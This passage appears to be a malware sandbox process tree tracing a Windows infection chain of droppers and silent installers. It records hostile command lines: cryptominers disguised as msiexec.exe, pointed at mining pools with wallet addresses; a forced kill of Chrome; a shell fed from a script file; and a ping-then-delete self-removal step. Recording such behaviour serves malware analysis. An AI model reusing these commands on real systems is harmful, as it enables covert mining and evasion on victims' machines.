        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1jrd3cw3.tfu\Four.exe & exit
        15⤵
        
        PID:3656
        
        C:\Users\Admin\AppData\Local\Temp\1jrd3cw3.tfu\Four.exe
        
        C:\Users\Admin\AppData\Local\Temp\1jrd3cw3.tfu\Four.exe
        16⤵
        
        PID:7700
        
        C:\Users\Admin\AppData\Local\Temp\P0B0YSM9WH\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\P0B0YSM9WH\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 104
        17⤵
        
        PID:6704
        
        C:\Users\Admin\AppData\Local\Temp\P0B0YSM9WH\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\P0B0YSM9WH\multitimer.exe" 1 3.1617397294.6067862e408fe 104
        18⤵
        
        PID:4660
        
        C:\Users\Admin\AppData\Local\Temp\P0B0YSM9WH\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\P0B0YSM9WH\multitimer.exe" 2 3.1617397294.6067862e408fe
        19⤵
        
        PID:5444
        
        C:\Users\Admin\AppData\Local\Temp\3gllmmx1bjk\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3gllmmx1bjk\Setup3310.exe" /Verysilent /subid=577
        20⤵
        
        PID:4316
        
        C:\Users\Admin\AppData\Local\Temp\is-D616D.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-D616D.tmp\Setup3310.tmp" /SL5="$2059A,138429,56832,C:\Users\Admin\AppData\Local\Temp\3gllmmx1bjk\Setup3310.exe" /Verysilent /subid=577
        21⤵
        
        PID:3544
        
        C:\Users\Admin\AppData\Local\Temp\is-JGDGM.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-JGDGM.tmp\Setup.exe" /Verysilent
        22⤵
        
        PID:9880
        
        C:\Users\Admin\AppData\Local\Temp\knuqewc3oq5\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\knuqewc3oq5\cpyrix.exe" /VERYSILENT
        20⤵
        
        PID:3396
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        21⤵
        
        PID:10176
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        21⤵
        
        PID:9224
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        22⤵
        
        PID:9052
        
        C:\Users\Admin\AppData\Local\Temp\sbzocrl4t1x\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\sbzocrl4t1x\app.exe" /8-23
        20⤵
        
        PID:3848
        
        C:\Users\Admin\AppData\Local\Temp\hxzz2npnw3n\ysuxzu1tbhq.exe
        
        "C:\Users\Admin\AppData\Local\Temp\hxzz2npnw3n\ysuxzu1tbhq.exe" /ustwo INSTALL
        20⤵
        
        PID:8716
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8716 -s 656
        21⤵
        Program crash
        
        PID:9832
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8716 -s 660
        21⤵
        Program crash
        
        PID:9956
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8716 -s 672
        21⤵
        Program crash
        
        PID:9896
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8716 -s 648
        21⤵
        Program crash
        
        PID:7680
        
        C:\Users\Admin\AppData\Local\Temp\4gjsjrko3qo\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4gjsjrko3qo\vict.exe" /VERYSILENT /id=535
        20⤵
        
        PID:8208
        
        C:\Users\Admin\AppData\Local\Temp\is-25G4K.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-25G4K.tmp\vict.tmp" /SL5="$9043E,870426,780800,C:\Users\Admin\AppData\Local\Temp\4gjsjrko3qo\vict.exe" /VERYSILENT /id=535
        21⤵
        
        PID:8224
        
        C:\Users\Admin\AppData\Local\Temp\is-JE41N.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-JE41N.tmp\win1host.exe" 535
        22⤵
        
        PID:10016
        
        C:\Users\Admin\AppData\Local\Temp\MGEFZRRE0J\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MGEFZRRE0J\setups.exe" ll
        17⤵
        
        PID:5044
        
        C:\Users\Admin\AppData\Local\Temp\is-SMTD2.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-SMTD2.tmp\setups.tmp" /SL5="$30184,635399,250368,C:\Users\Admin\AppData\Local\Temp\MGEFZRRE0J\setups.exe" ll
        18⤵
        
        PID:3540
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
        11⤵
        
        PID:5684
        
        C:\Users\Admin\AppData\Local\Temp\is-NQVQ6.tmp\lylal220.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-NQVQ6.tmp\lylal220.tmp" /SL5="$40360,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
        12⤵
        
        PID:4288
        
        C:\Users\Admin\AppData\Local\Temp\is-QQ6B7.tmp\Microsoft.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-QQ6B7.tmp\Microsoft.exe" /S /UID=lylal220
        13⤵
        
        PID:5420
        
        C:\Program Files\javcse\FBIGLCASKL\irecord.exe
        
        "C:\Program Files\javcse\FBIGLCASKL\irecord.exe" /VERYSILENT
        14⤵
        
        PID:6260
        
        C:\Users\Admin\AppData\Local\Temp\is-K403A.tmp\irecord.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-K403A.tmp\irecord.tmp" /SL5="$402B6,6265333,408064,C:\Program Files\javcse\FBIGLCASKL\irecord.exe" /VERYSILENT
        15⤵
        
        PID:6624
        
        C:\Users\Admin\AppData\Local\Temp\48-a6a10-cf0-f72a7-de1aff2933d6d\Hawefalaeka.exe
        
        "C:\Users\Admin\AppData\Local\Temp\48-a6a10-cf0-f72a7-de1aff2933d6d\Hawefalaeka.exe"
        14⤵
        
        PID:4616
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 1912
        15⤵
        
        PID:4804
        
        C:\Users\Admin\AppData\Local\Temp\38-d1e89-d09-f76a6-805835632a603\Naelazhojaji.exe
        
        "C:\Users\Admin\AppData\Local\Temp\38-d1e89-d09-f76a6-805835632a603\Naelazhojaji.exe"
        14⤵
        
        PID:4612
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2ikv23il.og0\md6_6ydj.exe & exit
        15⤵
        
        PID:4780
        
        C:\Users\Admin\AppData\Local\Temp\2ikv23il.og0\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\2ikv23il.og0\md6_6ydj.exe
        16⤵
        
        PID:6056
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 6056 -s 3272
        17⤵
        Program crash
        
        PID:9164
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\awy0v1ih.yha\askinstall31.exe & exit
        15⤵
        
        PID:4876
        
        C:\Users\Admin\AppData\Local\Temp\awy0v1ih.yha\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\awy0v1ih.yha\askinstall31.exe
        16⤵
        
        PID:2280
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rlp3efj3.mm2\toolspab1.exe & exit
        15⤵
        
        PID:7124
        
        C:\Users\Admin\AppData\Local\Temp\rlp3efj3.mm2\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\rlp3efj3.mm2\toolspab1.exe
        16⤵
        
        PID:4904
        
        C:\Users\Admin\AppData\Local\Temp\rlp3efj3.mm2\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\rlp3efj3.mm2\toolspab1.exe
        17⤵
        
        PID:5780
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\va1gnas2.dgp\setup_10.2_mix.exe & exit
        15⤵
        
        PID:6652
        
        C:\Users\Admin\AppData\Local\Temp\va1gnas2.dgp\setup_10.2_mix.exe
        
        C:\Users\Admin\AppData\Local\Temp\va1gnas2.dgp\setup_10.2_mix.exe
        16⤵
        
        PID:2160
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Microsoft\App\app.bat" "
        17⤵
        
        PID:3180
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\y2ug4en3.njp\GcleanerWW.exe /mixone & exit
        15⤵
        
        PID:6668
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\luvqexul.sn1\app.exe /8-2222 & exit
        15⤵
        
        PID:4296
        
        C:\Users\Admin\AppData\Local\Temp\luvqexul.sn1\app.exe
        
        C:\Users\Admin\AppData\Local\Temp\luvqexul.sn1\app.exe /8-2222
        16⤵
        
        PID:4048
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qp1a4ccs.zbc\file.exe & exit
        15⤵
        
        PID:4624
        
        C:\Users\Admin\AppData\Local\Temp\qp1a4ccs.zbc\file.exe
        
        C:\Users\Admin\AppData\Local\Temp\qp1a4ccs.zbc\file.exe
        16⤵
        
        PID:4816
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
        17⤵
        
        PID:5544
        
        C:\Users\Admin\AppData\Local\Temp\CYS5DZ8SLI\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\CYS5DZ8SLI\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        18⤵
        
        PID:7584
        
        C:\Users\Admin\AppData\Local\Temp\CYS5DZ8SLI\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\CYS5DZ8SLI\multitimer.exe" 1 3.1617397261.6067860d0d971 101
        19⤵
        
        PID:492
        
        C:\Users\Admin\AppData\Local\Temp\CYS5DZ8SLI\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\CYS5DZ8SLI\multitimer.exe" 2 3.1617397261.6067860d0d971
        20⤵
        
        PID:8172
        
        C:\Users\Admin\AppData\Local\Temp\ldrhzv2ipao\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ldrhzv2ipao\Setup3310.exe" /Verysilent /subid=577
        21⤵
        
        PID:8036
        
        C:\Users\Admin\AppData\Local\Temp\is-I2GA6.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-I2GA6.tmp\Setup3310.tmp" /SL5="$203C8,138429,56832,C:\Users\Admin\AppData\Local\Temp\ldrhzv2ipao\Setup3310.exe" /Verysilent /subid=577
        22⤵
        
        PID:1548
        
        C:\Users\Admin\AppData\Local\Temp\is-FPHB1.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-FPHB1.tmp\Setup.exe" /Verysilent
        23⤵
        
        PID:7548
        
        C:\Users\Admin\AppData\Local\Temp\4py2sfapeow\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4py2sfapeow\app.exe" /8-23
        21⤵
        
        PID:4992
        
        C:\Users\Admin\AppData\Local\Temp\klphhvxqiai\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\klphhvxqiai\cpyrix.exe" /VERYSILENT
        21⤵
        
        PID:7504
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        22⤵
        
        PID:4268
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        "{path}"
        23⤵
        
        PID:8980
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        22⤵
        
        PID:5740
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        23⤵
        
        PID:6696
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        23⤵
        
        PID:8904
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        24⤵
        
        PID:8236
        
        C:\Users\Admin\AppData\Local\Temp\14j1s4pd1a0\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\14j1s4pd1a0\vict.exe" /VERYSILENT /id=535
        21⤵
        
        PID:7132
        
        C:\Users\Admin\AppData\Local\Temp\is-22M9Q.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-22M9Q.tmp\vict.tmp" /SL5="$10578,870426,780800,C:\Users\Admin\AppData\Local\Temp\14j1s4pd1a0\vict.exe" /VERYSILENT /id=535
        22⤵
        
        PID:4208
        
        C:\Users\Admin\AppData\Local\Temp\is-0MJ6O.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-0MJ6O.tmp\win1host.exe" 535
        23⤵
        
        PID:1360
        
        C:\Users\Admin\AppData\Local\Temp\ep0i2boyqsb\wsvcrm022ek.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ep0i2boyqsb\wsvcrm022ek.exe" /ustwo INSTALL
        21⤵
        
        PID:7440
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 656
        22⤵
        Program crash
        
        PID:6604
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 704
        22⤵
        Program crash
        
        PID:7920
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 684
        22⤵
        Program crash
        
        PID:3500
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 640
        22⤵
        Program crash
        
        PID:7344
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 892
        22⤵
        Program crash
        
        PID:8824
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 856
        22⤵
        Program crash
        
        PID:9200
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7440 -s 968
        22⤵
        Program crash
        
        PID:7932
        
        C:\Users\Admin\AppData\Local\Temp\3JV5VKQYW0\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3JV5VKQYW0\setups.exe" ll
        18⤵
        
        PID:7740
        
        C:\Users\Admin\AppData\Local\Temp\is-G4B9D.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-G4B9D.tmp\setups.tmp" /SL5="$501A2,635399,250368,C:\Users\Admin\AppData\Local\Temp\3JV5VKQYW0\setups.exe" ll
        19⤵
        
        PID:7308
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\askinstall20.exe"
        17⤵
        
        PID:5544
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        18⤵
        
        PID:6884
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        19⤵
        Kills process with taskkill
        
        PID:4116
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
        17⤵
        
        PID:5936
        
        C:\Users\Admin\AppData\Roaming\753D.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\753D.tmp.exe"
        18⤵
        
        PID:5148
        
        C:\Users\Admin\AppData\Roaming\753D.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\753D.tmp.exe"
        19⤵
        
        PID:2168
        
        C:\Users\Admin\AppData\Roaming\822E.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\822E.tmp.exe"
        18⤵
        
        PID:5732
        
        C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        19⤵
        
        PID:4676
        
        C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
        19⤵
        
        PID:5928
        
        C:\Users\Admin\AppData\Roaming\87DD.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\87DD.tmp.exe"
        18⤵
        
        PID:6756
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
        18⤵
        
        PID:7728
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        19⤵
        Runs ping.exe
        
        PID:3096
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX2\md2_2efs.exe"
        17⤵
        
        PID:7284
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\d3iawjyi.nfo\Four.exe & exit
        15⤵
        
        PID:6512
        
        C:\Users\Admin\AppData\Local\Temp\d3iawjyi.nfo\Four.exe
        
        C:\Users\Admin\AppData\Local\Temp\d3iawjyi.nfo\Four.exe
        16⤵
        
        PID:4236
        
        C:\Users\Admin\AppData\Local\Temp\MBPTAPMBDG\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MBPTAPMBDG\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 104
        17⤵
        
        PID:7860
        
        C:\Users\Admin\AppData\Local\Temp\MBPTAPMBDG\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MBPTAPMBDG\multitimer.exe" 1 3.1617397295.6067862fbb95a 104
        18⤵
        
        PID:1440
        
        C:\Users\Admin\AppData\Local\Temp\MBPTAPMBDG\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\MBPTAPMBDG\multitimer.exe" 2 3.1617397295.6067862fbb95a
        19⤵
        
        PID:7908
        
        C:\Users\Admin\AppData\Local\Temp\mmrhaz3uuyr\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mmrhaz3uuyr\app.exe" /8-23
        20⤵
        
        PID:9100
        
        C:\Users\Admin\AppData\Local\Temp\ioicd4zmfif\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ioicd4zmfif\cpyrix.exe" /VERYSILENT
        20⤵
        
        PID:9280
        
        C:\Users\Admin\AppData\Local\Temp\1wf0ktbcmrh\3nap5ecsh4s.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1wf0ktbcmrh\3nap5ecsh4s.exe" /ustwo INSTALL
        20⤵
        
        PID:8368
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8368 -s 896
        21⤵
        Program crash
        
        PID:4072
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 8368 -s 960
        21⤵
        Program crash
        
        PID:10488
        
        C:\Users\Admin\AppData\Local\Temp\pjqsctbl4cc\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pjqsctbl4cc\vict.exe" /VERYSILENT /id=535
        20⤵
        
        PID:5828
        
        C:\Users\Admin\AppData\Local\Temp\is-CPAQS.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-CPAQS.tmp\vict.tmp" /SL5="$1077A,870426,780800,C:\Users\Admin\AppData\Local\Temp\pjqsctbl4cc\vict.exe" /VERYSILENT /id=535
        21⤵
        
        PID:10076
        
        C:\Users\Admin\AppData\Local\Temp\is-CKBIO.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-CKBIO.tmp\win1host.exe" 535
        22⤵
        
        PID:10628
        
        C:\Users\Admin\AppData\Local\Temp\5s5notpnzpv\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5s5notpnzpv\Setup3310.exe" /Verysilent /subid=577
        20⤵
        
        PID:9532
        
        C:\Users\Admin\AppData\Local\Temp\is-E5SBR.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-E5SBR.tmp\Setup3310.tmp" /SL5="$10834,138429,56832,C:\Users\Admin\AppData\Local\Temp\5s5notpnzpv\Setup3310.exe" /Verysilent /subid=577
        21⤵
        
        PID:9584
        
        C:\Users\Admin\AppData\Local\Temp\5UDDM6PTBG\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5UDDM6PTBG\setups.exe" ll
        17⤵
        
        PID:7624
        
        C:\Users\Admin\AppData\Local\Temp\is-25IQT.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-25IQT.tmp\setups.tmp" /SL5="$5027E,635399,250368,C:\Users\Admin\AppData\Local\Temp\5UDDM6PTBG\setups.exe" ll
        18⤵
        
        PID:7668
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"
        11⤵
        
        PID:3920
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"
        12⤵
        
        PID:3708
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install
        13⤵
        
        PID:4320
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"
        11⤵
        
        PID:5480
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"
        11⤵
        
        PID:4740
        
        C:\Users\Admin\AppData\Local\Temp\KSUI6UO1XR\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KSUI6UO1XR\multitimer.exe" 0 306065bb10421b26.04333812 0 103
        12⤵
        
        PID:4232
        
        C:\Users\Admin\AppData\Local\Temp\KSUI6UO1XR\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KSUI6UO1XR\multitimer.exe" 1 3.1617397091.60678563c4285 103
        13⤵
        
        PID:2500
        
        C:\Users\Admin\AppData\Local\Temp\KSUI6UO1XR\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\KSUI6UO1XR\multitimer.exe" 2 3.1617397091.60678563c4285
        14⤵
        
        PID:3348
        
        C:\Users\Admin\AppData\Local\Temp\vix5mkwk1ny\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\vix5mkwk1ny\vict.exe" /VERYSILENT /id=535
        15⤵
        
        PID:5948
        
        C:\Users\Admin\AppData\Local\Temp\is-8M9LT.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-8M9LT.tmp\vict.tmp" /SL5="$C02A4,870426,780800,C:\Users\Admin\AppData\Local\Temp\vix5mkwk1ny\vict.exe" /VERYSILENT /id=535
        16⤵
        
        PID:4736
        
        C:\Users\Admin\AppData\Local\Temp\is-89T0N.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-89T0N.tmp\win1host.exe" 535
        17⤵
        
        PID:6456
        
        C:\Users\Admin\AppData\Local\Temp\la0mbtzepmc\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\la0mbtzepmc\cpyrix.exe" /VERYSILENT
        15⤵
        
        PID:3940
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        16⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        "{path}"
        17⤵
        
        PID:3580
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        16⤵
        
        PID:5240
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        17⤵
        
        PID:5900
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        17⤵
        
        PID:5328
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        18⤵
        
        PID:6908
        
        C:\Users\Admin\AppData\Local\Temp\xkaawcga11i\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\xkaawcga11i\Setup3310.exe" /Verysilent /subid=577
        15⤵
        
        PID:6480
        
        C:\Users\Admin\AppData\Local\Temp\is-MQF0U.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MQF0U.tmp\Setup3310.tmp" /SL5="$7050E,138429,56832,C:\Users\Admin\AppData\Local\Temp\xkaawcga11i\Setup3310.exe" /Verysilent /subid=577
        16⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\is-GI97J.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-GI97J.tmp\Setup.exe" /Verysilent
        17⤵
        
        PID:5096
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"
        18⤵
        
        PID:8124
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        18⤵
        
        PID:8132
        
        C:\Users\Admin\AppData\Local\Temp\is-O8T8B.tmp\LabPicV3.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-O8T8B.tmp\LabPicV3.tmp" /SL5="$60278,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"
        19⤵
        
        PID:7352
        
        C:\Users\Admin\AppData\Local\Temp\is-M4N87.tmp\ppppppfy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-M4N87.tmp\ppppppfy.exe" /S /UID=lab214
        20⤵
        
        PID:2204
        
        C:\Users\Admin\AppData\Local\Temp\e7-0e4d8-475-25f8d-d7dd657bd9660\Lipucudefe.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e7-0e4d8-475-25f8d-d7dd657bd9660\Lipucudefe.exe"
        21⤵
        
        PID:2948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\chsocfxt.0tw\md6_6ydj.exe & exit
        22⤵
        
        PID:8936
        
        C:\Users\Admin\AppData\Local\Temp\chsocfxt.0tw\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\chsocfxt.0tw\md6_6ydj.exe
        23⤵
        
        PID:7824
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\o2mxofth.0bg\askinstall31.exe & exit
        22⤵
        
        PID:7504
        
        C:\Users\Admin\AppData\Local\Temp\o2mxofth.0bg\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\o2mxofth.0bg\askinstall31.exe
        23⤵
        
        PID:9568
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        24⤵
        
        PID:10264
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        25⤵
        Kills process with taskkill
        
        PID:11032
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lbrkry0b.eu4\toolspab1.exe & exit
        22⤵
        
        PID:5852
        
        C:\Users\Admin\AppData\Local\Temp\lbrkry0b.eu4\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\lbrkry0b.eu4\toolspab1.exe
        23⤵
        
        PID:7956
        
        C:\Users\Admin\AppData\Local\Temp\lbrkry0b.eu4\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\lbrkry0b.eu4\toolspab1.exe
        24⤵
        
        PID:2544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\i0yj1lyj.dyl\setup_10.2_mix.exe & exit
        22⤵
        
        PID:9372
        
